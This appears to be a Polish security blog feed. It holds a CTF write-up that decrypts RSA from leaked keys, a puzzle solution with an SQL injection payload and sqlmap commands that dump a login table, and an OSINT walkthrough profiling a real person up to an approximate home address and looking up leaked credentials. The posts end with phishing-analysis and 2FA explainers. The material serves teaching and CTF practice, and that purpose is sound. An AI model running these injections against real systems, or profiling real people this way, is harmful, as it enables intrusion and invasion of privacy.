-rw------- 1 orestis orestis 619 Apr 29 2017 debug.txt
-rw-rw-r-- 1 orestis orestis 580 Apr 29 2017 encrypt.sage
drwx------ 3 orestis orestis 4096 Apr 29 2017 mail
-rw------- 1 orestis orestis 329 Apr 29 2017 output.txt
-r-------- 1 orestis orestis 33 Apr 29 2017 user.txt

orestis@brainfuck:~$ cat encrypt.sage
nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
 e = ZZ.random_element(phi)



c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

Działanie tego programu opiera się na kilku krokach:

odczytaj plik /root/root.txt i zakoduj jego zawartość w parametrze m
zaszyfruj zawartość zmiennej m i wpisz ją do pliku output.txt
zapisz zmienne p, q i e do pliku debug.txt

Znając jednak te 3 zmienne i wartość tekstu zaszyfrowanego, możemy odtworzyć mechanizm RSA. Wykorzystany został kod stworzony przez jednego z użytkowników portalu stackoverflow, z drobną zmianą - dodałem wypisywanie poprawnie flagi na ekran:

out = str(hex(plain_text)[2:-1])
print out.decode("hex")

Tym sposobem otrzymujemy również zawartość pliku /root/root.txt i box brainfuck zostaje ukończony.

OSINT

Fri, 05 Mar 2021 00:00:00 +0000

Zapewne znajdą się osoby, które widząc nieznajomy numer telefonu, sprawdzają go w Google. Najczęściej już pierwszy link opowie całą historię, a my dzięki zdobytej wiedzy bez zawahania zablokujemy numer i spokojnie oddamy się reszcie dnia nie biorąc tego kredytu na 25 tys., którego o mały włos nam nie zaproponowano. W ten o to sposób przechodzimy do tematu tego artykułu - OSINT.

OSINT - z czym to się je

To z czego skorzystaliśmy w poprzednim akapicie nazywane jest Open Source Intelligence, czyli tzw. biały wywiad. Jest to forma rozpoznania, polegająca na gromadzeniu informacji przy wykorzystaniu ogólnodostępnych źródeł. Google jest właśnie jednym z nich - chyba, że mieszkacie w Chinach albo w Korei Północnej, wtedy to Baidu lub Naver. Oczywiście źródła nie ograniczają się tylko do tych online, mogą to być również np. prasa, publiczne archiwa lub zgłoszone patenty. Pamiętajmy jednak, że w dzisiejszych czasach to w internecie znajdziemy najbardziej aktualne oraz najłatwiej dostępne informacje. Na temat technik zbierania materiałów do późniejszej analizy i wyciągnięcia z nich wniosków stworzone są całe kursy, natomiast ja w skrócie postaram się przedstawić Wam o co w tym wszystkim chodzi.

Warto wspomnieć o trudnościach na jakie można natrafić realizując ten proces. Pierwszą z nich jest istota anonimizacji w sieci podczas wyszukiwania, tym bardziej jeśli chcemy to zrobić dyskretnie. Nie chcemy np. skorzystać z wyszukiwarki numeru telefonu, gdy jego właściciel ma włączoną usługę powiadamiania o takim fakcie - po próbie uzyskania informacji z danego serwisu spaliliśmy przykrywkę, osoba sprawdzana ma świadomość, że ktoś ją weryfikował, a my nie mamy pewności, że odkryliśmy to, czego szukaliśmy. Kolejną z nich jest nadmiar dostępnych informacji na interesujący nas temat. Poszukiwanie informacji po różnych serwisach jest podobne do weryfikacji prawdziwości danej wiadomości (fake news). Bardzo ważną umiejętnością jest wyłuskiwanie tylko tych istotnych danych, pochodzących z zaufanych źródeł. Tylko wtedy możemy przedstawić obiektywny obraz tego, co próbujemy zbadać.

Ochrona naszych danych przed białym wywiadem - czy to ważne

W czasach, gdzie duża część naszego życia odbywa się w sferze social media łatwo jest zapomnieć, ile tak naprawdę danych o sobie udostępniamy w Internecie. Nie chodzi mi teraz konkretnie o te dane, które portale społecznościowe zostawiają dla siebie, aby przeprowadzać czystki etniczne w krajach trzeciego świata (polecam książkę). Pomijam również te, którymi dzielą się z reklamodawcami, aby później wyświetlić reklamę akurat tego kremu, o którym z kimś rozmawialiśmy parę godzin wcześniej. Mam na myśli bardziej przyziemne rzeczy, które udostępniamy bez chwili zastanowienia.

Jedną z takich rzeczy może być np. widok z naszego okna na charakterystyczny budynek po drugiej stronie ulicy albo lepiej - dobrze widoczne oznaczenie sąsiedniego bloku. Parę minut rozeznania na Google Maps i dla zainteresowanego podmiotu nasz adres jest podany na tacy z dokładnością do klatki schodowej. Od tego można już zacząć dalsze działania, te bardziej inwazyjne np. dumpster diving. Oczywiście to już nie wchodzi w zakres OSINT, w tym momencie jesteśmy już po wstępnym rekonesansie, do którego posłużył biały wywiad.

Innym dobrym przykładem, jest wyszukiwanie informacji, opierając się na numerach tablic rejestracyjnych samochodu. Poza portalami, takimi jak ten, na których możemy wyrazić swoje uczucia w stosunku do kierowcy samochodu tej niemieckiej marki na trzy litery, spotkawszy się z nim na drodze, istnieją też inne. Na tej stronie po wpisaniu numeru rejestracyjnego dostajemy informacje o polisie i firmie ubezpieczeniowej, powiązanymi z danym autem. Odrobina socjotechniki na uczącym się pracowniku BOK i możemy naprawdę komuś uprzykrzyć dzień, to oczywiście w bardzo dużym uproszczeniu i przy dużej dozie szczęścia.

OSINT w praktyce

Dla tych co wytrzymali do tego momentu jest nagroda - trochę praktyki. Zastanawiałem się jak najlepiej zaprezentować OSINT i to jeszcze w połączeniu z użyciem social media, aby pokazać, do czego może doprowadzić nadmierne dzielenie się wszystkim w Internecie. Na szczęście podczas zbierania materiału do tego artykułu natrafiłem na podręcznikowy przykład, ale niestety - wszystko co mogłoby zidentyfikować tę osobę pozostaje zakryte dla dobra jej prywatności oraz żeby przestrzegać prawa. Na podstawie zebranych informacji przedstawię proces oraz kategorie informacji, jakie udało mi się uzyskać w jego trakcie.

W celu zwiększenia realizmu i wspierania swojego lenistwa nie tworzyłem przykładowego konta, na którym mógłbym demonstrować, więc zamiast tego operujemy na żywym organizmie. Po trzech minutach na moim ulubionym portalu zaczynamy od nazwy użytkownika. Szukałem czegoś co jest w swój sposób unikatowe, więc unikałem pseudonimów zawierających popularne nazwiska/postacie, ponieważ wiele różnych ludzi może mieć tego samego idola. Pomijałem też nazwy kończące się ciągiem liczbowym, gdyż nawet jeśli byłby to ten sam użytkownik mógłby używać różnych kombinacji pomiędzy portalami. Pamiętacie jak mówiłem o podręcznikowym przykładzie? Udało mi się znaleźć wzorzec konkatenacji, składający się z pierwszej litery imienia, połączonej z pełnym nazwiskiem - można brać się do pracy.

Jako pewien drogowskaz skorzystam ze strony OSINT Framework. Jest to w pewien sposób encyklopedia każdego narzędzia, które przychodzi na myśl po usłyszeniu OSINT. Jednak pomimo tak dużego wyboru nie znalazłem akurat tego, które miałem na myśli.

Dalszy research poprowadzę, korzystając z narzędzia o nazwie Sherlock. Jest to bardzo prosty w swoim założeniu skrypt, do którego wystarczy podać nazwę użytkownika i poczekać kilkanaście sekund, aż sprawdzi on 303 (na dzień 25.11) strony w poszukiwaniu zgodnego pseudonimu pomiędzy nimi. Wywołajmy go, wpisując nasz cel i zobaczmy wynik:

Dostajemy łącznie 18 wyników, które trzeba zweryfikować samodzielnie. Z opisu profilu na Wykop wiem, że ofiara m.in. jest miłośnikiem turystyki górskiej, co przyda nam się za chwilę. Zacznę od sprawdzenia profilu na stronie Gravatar, która umożliwia korzystanie z tego samego awatara pomiędzy różnymi portalami, implementującymi tę usługę.

Teraz mamy pewność, że jest to ta sama osoba (mówiłem, że tamta informacja się przyda), a dodatkowo zyskujemy dodatkowy trop, który na pewno nam się przyda. Niestety nie mogę Wam tego pokazać. To co? Może teraz Facebook.

Na publicznym profilu widzę m.in. całą historię zatrudnienia naszej ofiary i ścieżkę edukacji, czyli w sumie bez większego zaskoczenia.

Tutaj natomiast dowiadujemy się jakiego jest pochodzenia oraz ile ma lat. Mogliśmy się tego dowiedzieć wcześniej, ale nie udostępnił tej informacji na profilu Facebook.

Tutaj musiałem się trochę postarać, gdyż Strava nie pokazała mi całego profilu gdy byłem niezarejestrowany - no to założyłem konto. Poza kilkoma dodatkowymi zdjęciami, udało mi się dotrzeć do tego treningu (sprzed kilkunastu dni), gdzie z dużym prawdopodobieństwem możemy określić adres zamieszkania. Niestety - nie z dokładnością co do klatki schodowej, ale co do dwóch bloków na osiedlu w pewnym mieście na Śląsku, którego Wam nie zdradzę. Gdyby nasza ofiara mieszkała w okolicy domów jednorodzinnych sprawa byłaby o wiele prostsza.

Podsumowując, kategorie informacji, jakie na start udało mi się zebrać, bazując tylko na nazwie użytkownika, to:

Imię i nazwisko
Wiek
Stan cywilny
Dane partnera
Aktualne i przeszłe zajmowane stanowiska
Wykształcenie
Hobby i koła pasjonatów
Przybliżony adres zamieszkania
Tablice rejestracyjne samochodu

Możemy chyba uznać, że poszło nam całkiem dobrze i to tylko przy wykorzystaniu jednego narzędzia. Gdyby spędzić nad tym więcej czasu, myślę że wyniki mogłyby być jeszcze ciekawsze. W sumie sam Wykop może naprawdę dużo powiedzieć, tam mirki czują się naprawdę anonimowi.

Polowanie na wycieki danych

Każdy zainteresowany bliżej tematem bezpieczeństwa IT jest już przyzwyczajony do wiadomości o jakimś nowym wycieku i o potencjalnych scenariuszach wykorzystania takiego łupu. Jednym z nich to zdobycie danych z wycieku w surowej postaci i późniejsze odszyfrowanie ich. Jeśli chodzi o część pierwszą to najłatwiejszym sposobem było skorzystanie z portalu WeLeakInfo, który został już zdjęty, więcej o tym tutaj. W kroku drugim zamiast czekać na rozszyfrowanie przy wykorzystaniu wynajętego klastra GPU i oprogramowania typu Hashcat, można skorzystać z DeHashed. Portal udostępnia postać zaszyfrowaną w połączeniu z jej jawnym tekstem i robi to dla ponad 12 miliardów haseł.

Znając miejsca, gdzie można sprawdzać interesujące nas rzeczy, możemy zabrać się do roboty. Najpierw wykorzystamy serwis Hunter, który po wpisaniu domeny np. firmowej zwraca listę znanych mu maili z nią połączonych. Dane te zdobywa przeszukując publicznie dostępne źródła, czyli jest po prostu agregatorem. Bez rejestracji jesteśmy w stanie wyświetlić tylko kilka pozycji.

Mając te kilka (albo kilkanaście jeśli się zarejestrowaliście) adresów możemy sprawdzić, czy któryś z pracowników użył konta prywatnie poza firmą i przypadkiem jego dane nie wyciekły. Niestety, z tej małej puli nie udało się nic zdobyć, co nie zmienia faktu, że jeśli mielibyśmy większą bazę adresów i przykładowo zautomatyzowali wyszukiwanie skryptem przy użyciu API DeHashed, moglibyśmy na coś natrafić wartościowego.

Dane, dane, wszędzie dane - jak je poukładać

Mając do czynienia z takimi pokładami informacji, przydałoby się nam coś do uporządkowania tego wszystkiego. Tylko wtedy możemy być pewni, że niczego nie przeoczyliśmy. Jednym z najpopularniejszych rozwiązań jest Maltego. Pozwala ono w czytelny sposób zobrazować sobie siatkę połączeń pomiędzy różnymi informacjami, które znaleźliśmy pomagając nam zbierać kolejne tropy. O tym narzędziu można napisać kolejny, pokaźny artykuł, więc po prostu zostawię Wam link.

Podsumowanie

Mam nadzieję, że udało mi się przybliżyć ten fascynujący temat i wykorzystując te małe fragmenty, które udostępniłem, uda się Wam znaleźć wszystko i o wszystkim. Przy takich ilościach informacji, jakie można zdobyć, możliwości są praktycznie nieograniczone, tym bardziej przy takim zestawie narzędzi widocznym na OSINT Framework.

Czech Trap

Mon, 01 Mar 2021 00:00:00 +0000

Poniżej znajduje się zadanie Czech Trap, które było jednym z wielu w poprzedniej edycji Break the Syntax CTF 2019. Pobierz obrazek, wejdź do świata zer i jedynek, a następnie znajdź flagę.

Rozwiązanie zostanie opublikowane w najbliższym czasie. Jeżeli naszła Cię chęć spróbowania sił w następnej edycji, zbierz zespół do 3 osób i wypełnij formularz zgłoszeniowy: https://forms.gle/1GFGHshHZLybi1Dh9

Rozwiązanie - 05.05.2021

Rozwiązanie można znaleźć pod tym adresem.

Rozwiazanie zagadki mikołajkowej

Sat, 26 Dec 2020 00:00:00 +0000

Artykuł ten jest opisem rozwiązania do zagadki mikołajkowej opublikowanej na naszym blogu w grudniu 2020. Jeśli wciąż chcesz spróbować rozwiązać ją samodzielnie, to nie jest to jeszcze tekst dla Ciebie. Jeśli jednak zagubiłeś/-łaś/-łoś się w trakcie rozwiązywania, to zapraszam do lektury.

Od czego zacząć?

Częstą blokadą w trakcie rozwiązywania zadań webowych w trakcie wszelakich CTFów jest to, od czego można je zacząć. Znalezienie odpowiedniego wektora wejściowego jest bardzo często największym krokiem do sukcesu. Nie inaczej jest w tym przypadku.

Strona przedstawia odbiorcy prosty formularz logowania z polem email w trybie readonly. Na pierwszy rzut oka użytkownik może sądzić, że pracować może tylko z polem hasła. Korzystanie z niego (puste hasło lub dowolny ciąg znaków) wywołuje jednak stałe komunikaty. Jako, że pole z hasłem zwraca niezmienne informacje niezależnie od wprowadzonych znaków, to można je na razie wykluczyć z testów.

Pole email w trybie readonly

Komunikaty ze strony

Strony internetowe mają to do siebie, że ich kod HTML możemy modyfikować po swojej stronie (ang. client-side). Nie inaczej jest w tym przypadku. Po usunięciu atrybutu readonly z pola email otrzymujemy do dyspozycji kolejny możliwy wektor ataku. Jednym z pierwszych ruchów testera bezpieczeństwa aplikacji webowych powinno być zweryfikowanie, czy aby formularz nie jest podatny na atak SQL injection. Poniższy ciąg znaków zostaje wysłany jako adres email:

mikolaj@swiety.biegun.polnocny';--

W odpowiedzi otrzymujemy inny komunikat niż dotychczas. Może to sugerować, że aplikacja stojąca za formularzem jest podatna na SQLi właśnie poprzez pole email.

Komunikat zwrócony po wykorzystaniu znaków specjalnych

Weryfikacja podatności

Do zweryfikowania podatności wykorzystane zostaje narzędzie sqlmap. Aby móc z niego jednak skorzystać musimy poznać odpowiedni adres, do którego odwołuje się formularz logowania. Można go znaleźć w panelu Sieć Narzędzi Developerskich przeglądarki.

Zapytanie HTTP POST z formularza

Znając szczegóły zapytania HTTP, możemy wykorzystać sqlmap do zbadania aplikacji. Poniżej przedstawione zostało odpowiednie polecenie wraz z jego odpowiedzią: ```console $ sqlmap -u "https://whitehats.pwr.edu.pl/api/santaclaus" --data="email=1&password=test" ... [INFO] heuristic (basic) test shows that POST parameter 'email' might be injectable (possible DBMS: 'MySQL') [INFO] POST parameter 'email' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [INFO] POST parameter 'email' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable [INFO] the back-end DBMS is MySQL ... ```

{: .notice–info} Odpowiedzi narzędzia sqlmap mogą różnić się w zależności od wykorzystanej wersji dlatego nie należy trzymać się w 100% tego co przedstawiono powyżej.

Ekstrakcja danych

Znając wektor ataku i typ bazy danych można wykorzystać wspomniane wcześniej narzędzie sqlmap do ekstrakcji danych. Poniżej przedstawione zostały poszczególne, wykorzystane polecenia wraz z ich odpowiedziami.

Nazwa bazy

$ sqlmap -u "https://whitehats.pwr.edu.pl/api/santaclaus" --data="email=1&password=test" \
 --dbms=mysql -p email --current-db
...
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[INFO] fetching current database
current database: '7f1919e430b4db56df507b09f5599809'
...

Tabele w bazie

$ sqlmap -u "https://whitehats.pwr.edu.pl/api/santaclaus" --data="email=1&password=test" \
 --dbms=mysql -p email \
 -D 7f1919e430b4db56df507b09f5599809 --tables
...
Database: 7f1919e430b4db56df507b09f5599809
[1 table]
+--------+
| logins |
+--------+
...

Zawartość odpowiedniej tabeli

$ sqlmap -u "https://whitehats.pwr.edu.pl/api/santaclaus" --data="email=1&password=test" \
 --dbms=mysql -p email \
 -D 7f1919e430b4db56df507b09f5599809 -T logins --dump
Database: 7f1919e430b4db56df507b09f5599809
Table: logins
[16 entries]
+----+-------------------------------------------+-----------------------------------------------------------+
| id | email | password |
+----+-------------------------------------------+-----------------------------------------------------------+
| 2 | mikolaj@swiety.biegun.polnocny | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 3 | mikolaj@swiety.biegun.polnocny1 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 4 | mikolaj@swiety.biegun.polnocny2 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 5 | mikolaj@swiety.biegun.polnocny3 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 6 | mikolaj@swiety.biegun.polnocny4 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 7 | mikolaj@swiety.biegun.polnocny5 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 8 | mikolaj@swiety.biegun.polnocny6 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 1 | UKRYTE | UKRYTE |
| 9 | mikolaj@swiety.biegun.polnocny7 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 10 | mikolaj@swiety.biegun.polnocny8 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 11 | mikolaj@swiety.biegun.polnocny9 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 12 | mikolaj@swiety.biegun.polnocny10 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 13 | mikolaj@swiety.biegun.polnocny11 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 14 | mikolaj@swiety.biegun.polnocny12 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 15 | mikolaj@swiety.biegun.polnocny13 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 16 | mikolaj@swiety.biegun.polnocny14 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
+----+-------------------------------------------+-----------------------------------------------------------+

Rozwiązanie

{: .notice–danger} Jeśli chcesz samodzielnie poznać email i hasło wykorzystując polecenia przedstawione wyżej, to przestań czytać w tym miejscu.

Jak można zauważyć, jest to zadanie stworzone z myślą o osobach, które stawiają pierwsze kroki w bezpieczeństwie aplikacji webowych. Dzięki niemu, w bardzo skuteczny sposób, można sprawdzić oraz przetestować działanie sqlmap w prawdziwym środowisku. Odpowiednie dane wymagane do obejścia formularza logowania uzyskujemy w kroku zawartość odpowiedniej tabel. Ich wartość została ukryta aby zachęcić do samodzielnego wypróbowania poleceń, jednak jeśli chcesz je poznać już teraz to znajdują się one poniżej:

EMAIL: oryginalny.mikolaj@swiety.biegun.polnocny
HASŁO: WHITE-HATS{S4nT4$-p@s$w0rd-Is-6R34T}

Jak przeanalizować podejrzane linki, e-maile, pliki?

Tue, 15 Dec 2020 00:00:00 +0000

Na pewno każdy z Was spotkał się z sytuacją, w której na pocztę przychodzi dziwny mail od nieznanego nadawcy. Czasem te podejrzane wiadomości są zwykłą reklamą, rozsyłaną masowo przez firmy. Momentami jednak możemy odnieść wrażenie, że otrzymana poczta jest kierowana specjalnie do nas. Zarówno w przypadku maila wyglądającego na kampanię reklamową czy ukierunkowanego bezpośrednio w naszą osobę, możemy natknąć się na niebezpieczny załącznik lub link, który ma na celu np. wyłudzić dane. Taka sytuacja, jak zapewne wszyscy zainteresowani cyberbezpieczeństwem wiedzą, nazywa się atakiem phishingowym (więcej o phishingu można poczytać tutaj).

Scenariusz tego typu używa wielu metod mających na celu wyłudzenie naszych danych, zarówno tych jawnych jak i poufnych. Gdy już damy się nabrać na socjotechnikę, to zazwyczaj w następnej kolejności, albo otwieramy podrobiony panel logowania, skonstruowany tak, by przypominał ten rzeczywistej strony, albo pobieramy na swój komputer złośliwe oprogramowanie, którego zadaniem może być m.in. wykradanie danych. Jak sami widzicie, nieostrożne korzystanie z poczty, może sprowadzić na nas duże niebezpieczeństwo.

Co więc można zrobić, aby zapobiegać takim sytuacjom w tzw. domowych warunkach? Z pomocą przychodzi nam wiele narzędzi, które są w stanie przeanalizować potencjalnie niebezpieczne pliki lub URL, zawarte w mailach. W tym artykule przytoczę klika z nich.

ANY.RUN

Jeśli chcemy zweryfikować nieznany nam adres URL lub plik, idealnym rozwiązaniem wydaje się być ANY.RUN. Ten serwis udostępnia nam interfejs, dzięki któremu sami możemy przejrzeć potencjalnie niebezpieczną stronę w symulowanym środowisku on-line. Darmowa wersja pozwala na pięciominutową analizę w systemie operacyjnym Windows 7 oraz dla przeglądarek Internet Explorer, Mozilla Firefox, Chrome i Opera (darmowe rozwiązanie nie posiada wszystkich funkcjonalności, ale za to jest ono wystarczające do szybkiej weryfikacji). Jeśli chcemy skorzystać z innego systemu operacyjnego lub chcemy mieć zwiększony czas, musimy skorzystać z płatnej wersji. Należy pamiętać, że można tutaj również zobaczyć na żywo zachowanie pliku przekazanego do analizy.

Dobrym przykładem jest pokazowa analiza niebezpiecznego oprogramowania Emotet, które jest dostarczane poprzez wiadomość email. Zawiera ona adres URL, który zazwyczaj pobiera plik .doc, zawierający niebezpieczne makro, łączące nas z serwerem C&C(Command and Control) poprzez wykonanie komend w PowerShellu. To właśnie na przykładzie Emoteta postaram się zaprezentować wam narzędzia do analizy.

Zrzut ekranu ze strony ANY.RUN

Istotne informacje zawarte są w sekcji IoC, w której dostępne są takie dane jak np.: zapytania DNS, hashe, żądania HTTP/HTTPS czy adresy IP, z jakimi strona/plik się łączy. Pozwala to na głębszą analizę oraz dokładniejsze zrozumienie działania badanego obiektu. Otrzymujemy powiązane IoC (Indicators of Compromise), które można zweryfikować również w innych witrynach. Poniżej widzimy sekcję IoC dla powyższej przeprowadzonej analizy Emotet.

Zrzut ekranu z IoC

ANY.RUN szczególnie przydaje się w przypadku, gdy posiadamy link, który pobiera z Internetu plik. Możemy wtedy dokonać dogłębnego traege’u, czyli oceny zagrożenia. Spróbujmy więc skorzystać z informacji jakie uzyskaliśmy w sekcji IoC z analizy ANY.RUN. Do dalszej analizy użyjemy innych narzędzi.

VirusTotal

VirusTotal jest znakomitym internetowym skanerem. Posiada on ogromną bazę IoC, która pozwala na zdobycie dużej wiedzy o badanym pliku, linku czy adresie IP. Skorzystajmy z niej i spróbujmy dowiedzieć sie czegoś więcej o analizowanym przypadku. Najpierw sprawdźmy zdobyty hash MD5. Wklejenie go w sekcje SEARCH na VirusTotalu w wyniku da taki oto rezultat:

Zrzut ekranu ze strony VirusTotal

Wyniki jakie otrzymujemy są zamieszczone w pięciu sekcjach:

Detection, w której możemy dowiedzieć się, które skanery wskazały analizowany przez nas plik jako niebezpieczny,
Details, gdzie możemy zdobyć wiele cennych informacji różnego typu, w zależności od tego co analizujemy. Mogą to być np. metadane, certyfikat strony, której adres analizujemy itd.,
Relations, która pozwoli nam np. na sprawdzenie z jakimi adresami IP plik próbuje się połączyć,
Behavior, wskazująca różne podejrzane działania, wykryte podczas analizy statycznej i dynamicznej,
Community, w której znajdują się komentarze na temat badanego obiektu od innych użytkowników. Pozwala to często obrać ścieżkę dalszej analizy, jaką będziemy chcieli przeprowadzić.

W badanym przez nas przypadku, szczególnie ciekawy jest wynik sekcji Relations, która między innymi w graficzny sposób prezentuje nam ukrytę zachowanie pobranego przez nas pliku .doc:

Zrzut ekrany ze strony VirusTotal, sekcja Relations

Funkcje hashujące są niezwykle istotne, gdyż pozwalają one niemal jednoznacznie zidentyfikować dany plik - zmiana pojedynczego znaku w nim, zmieni całkowicie wartość jego skrótu. Należy jednak mieć na uwadze zjawisko nazywane kolizją hashy. Występuje ono, gdy ten sam hash zostaje wygenerowany przez dwa różne pliki (jest to zdarzenie bardzo mało prawdopodobne i zdarza się najczęściej dla hashy MD5).

VirusTotal nie służy jednak tylko do analizy hashy. Pozwala on, tak jak w przypadku ANY.RUN, na analizę adresu URL czy pliku. Niestety w przypadku tego narzędzia nie możemy sami podejrzeć co badany obiekt zawiera, gdyż nie jest udostępniany graficzny interfejs. Co jednak przemawia na korzyść VirusTotal, to to, że jak już wspomniałem posiada on ogromną bazę IoC, w której możemy wyszukiwać takie dane jak domena, adres IP czy właśnie hash. Narzędzie to jest również bardzo intuicyjne i przyjemnę w obsłudze. W czytelny i przejrzysty sposób są udostępniane takie informacje jak np. certyfikat strony w standardzie x509.

Omawiane narzędzie składa się z około 70 różnych skanerów, co pozwala dokładniej określić naturę podejrzanego pliku czy strony. Wyniki przedstawione po jego przeskanowaniu pochodzą z analizy statycznej i dynamicznej. Analiza statyczna głównie opiera się na wydobyciu jak największej liczby informacji o obiekcie z jego metadanych, zaś analiza dynamiczna symuluje zwyczajne środowisko, uruchamia badany plik oraz weryfikuje jego zachowanie w systemie. Dane jakie skanerom uda się uzyskać podczas analizy są później dostępne dla innych użytkowników poprzez zakładkę SEARCH.

VirusTotal zawiera również innego rodzaju narzędzia. W szczególności warto wspomnieć o regułach YARA. Umożliwia tworzenie sygnatur, które pozwalają na późniejsze rozpoznanie podobnego malware. Tworzy się je poprzez wzorce tekstowe lub binarne. Szczególnie przydatne, jeśli naszym celem jest wyszukiwanie nowych i odnotowanych wcześniej próbek danej rodziny złośliwego oprogramowania.

Zrzut ekranu ze strony VirusTotal

Analiza adresów IP oraz domen

Pójdźmy o krok dalej i spróbujmy się dowiedzieć czegoś więcej o uzyskanych w sekcji IoC adresach IP oraz domenach. W tym celu użyjemy dwóch ogólnodostępnych baz adresów IP, a mianowicie: AbuseIPDB oraz IPVoid. Pierwszy z nich to baza, w której webmasterzy, administratorzy systemów oraz inne zainteresowane osoby zgłaszają adresy IP, powiązane z odnotowanymi na nich potencjalnymi cyberatakami. IPVoid, podobnie jak AbuseIPDB, zawiera bazę adresów IP, powiązanych z naruszeniami bezpieczeństwa, ale także umożliwia wykorzystanie innych funkcji takich jak uzyskanie geolokalizacji, czy reverse DNS lookup. Przykładowy wynik dla wybranego adresu IP w bazie IPVoid widoczny jest poniżej.

Zrzut ekranu ze strony IPVoid

Jeśli chcemy dogłębniej przeanalizować domenę, dobrym rozwiązaniem jest VirusTotal. Pozwoli on na uzyskanie takich informacji jak: certyfikat HTTPS, subdomeny, inne powiązane adresy IP itd.

urlscan.io

Kolejnym świetnym narzędziem jest URLscan.io. Jest to dedykowane narzędzie do analizy URL, nie możemy za jego pomocą uzyskać informacji o pliku, jednak idealnie nadaje się do analizy adresu internetowego. Kontynuując przeprowadzaną analizę na podstawie grupy IoC zaczerpniętej z ANY.RUN, przeskanuje jeden z uzyskanych adresów URL. W uzyskanych wynikach będziemy mogli znaleźć dane dotyczące domen oraz adresów IP powiązanych ze stroną, dane statystyczne oraz zrzut ekranu z zawartością strony.

Zrzut ekranu z URLscan.io

Informacje jakie uzyskaliśmy za pomocą urlscan są znacznie obszerniejsze niż te, które udostępnił na VirusTotal. Przykładowo, nie używając urlscan nie dowiedzielibyśmy się o faktycznym Final URL (Effective URL), który jest rzeczywistym adresem strony, do której doprowadzi nas pierwotny URL (jak pewnie się domyślacie, całkiem cenna informacja)

Zrzut ekranu z VirusTotal

Nie świadczy to o wyższości jednego narzędzia nad drugim lecz o fakcie iż warto korzystać z jak największej ich ilości, gdy przeprowadzana jest przez nas analiza.

Uwaga

Na koniec bardzo ważna rzecz - pamiętajcie, że posiadając podstawową wersje konta na VirusTotal i ANY.RUN wszystkie zamieszczone pliki/URL, wraz z analizą, będą publicznie dostępne dla każdego, korzystającego z tych serwisów. Jeśli nie jesteście pewni, czy plik nie zawiera danych wrażliwych, które nie powinny być upublicznione, nie wykorzystujcie wyżej wymienionych narzędzi.

Uwierzytelnianie dwuskładnikowe

Sun, 06 Dec 2020 00:00:00 +0000

Czym właściwie jest 2FA

Możecie nie zdawać sobie sprawy, ale korzystamy z niego na co dzień. Płacąc w sklepie, przy pomocy karty powyżej kwoty 50 zł (lub przy co szóstej transakcji, gdy ich zsumowana wartość przekracza 150€ etc.) jesteśmy proszeni o podanie numeru PIN.

W ten sposób potwierdzamy swoją tożsamość przy wykorzystaniu dwóch z trzech dostępnych kategorii:

coś co wiesz (np. hasło, PIN)
coś co masz (np. token, karta płatnicza)
coś czym jesteś (np. odcisk palca, cechy biometryczne twarzy)

Dlaczego warto stosować

Jest to najłatwiejszy sposób na zwiększenie bezpieczeństwa konta. Polega on na zastosowaniu drugiego czynnika, jakim jest zazwyczaj kod z SMSa lub aplikacji. Do tak zabezpieczonego konta, nieuprawniony dostęp jest znacząco utrudniony. Nawet, jeśli atakujący posiadałby dane logowania, to po ich wpisaniu zastanie ekran z prośbą o podanie kodu, którego nie ma sposobu znać, nie wykonując dodatkowych czynności, aby je zdobyć.

Jednak z rosnącą popularnością 2FA (Two-factor Authentication), oszuści dostosowali swoje narzędzia i techniki. Obecnie ofierze wysyła się link prowadzący do fałszywej bramki płatności, przez którą przechodzi ona do podstawionej strony logowania do banku. Po wpisaniu loginu i hasła zostają one przesłane do atakującego, a on przesyła je dalej do serwisu bankowego. Bank widzi, że klient próbuje się zalogować, więc wysyła do niego SMS z kodem albo oczekuje podania ciągu znaków wygenerowanych w aplikacji. Oczywiście ten etap też jest przewidziany na podstawionej stronie, gdzie wyświetla się okienko w celu podania wybranej metody, z której korzysta klient. Atakujący, po wprowadzeniu przez nieświadomą osobę swoich danych i kodu, uzyskuje w prosty sposób dostęp do konta bankowego ofiary. Dlatego należy mieć świadomość, z jakich innych zabezpieczeń można skorzystać, aby w pełni chronić swoje konta i dane.

Rodzaje 2FA

Istnieje kilka sposobów na implementację 2FA, o dwóch pierwszych już wspomniałem. Serwisy mogą wybierać spośród poniższych opcji.

Kody SMS

Najprostsza wersja, która polega na wysłaniu wiadomości tekstowej na uprzednio przypisany do konta numer telefonu. Niestety - jednocześnie jest to aktualnie najmniej bezpieczna opcja. Banki obecnie wycofują się z jej wykorzystania - temat zostanie rozwinięty później.

Kod z aplikacji

Zrzut ekranu aplikacji Google Authenticator. [ŹRÓDŁO]

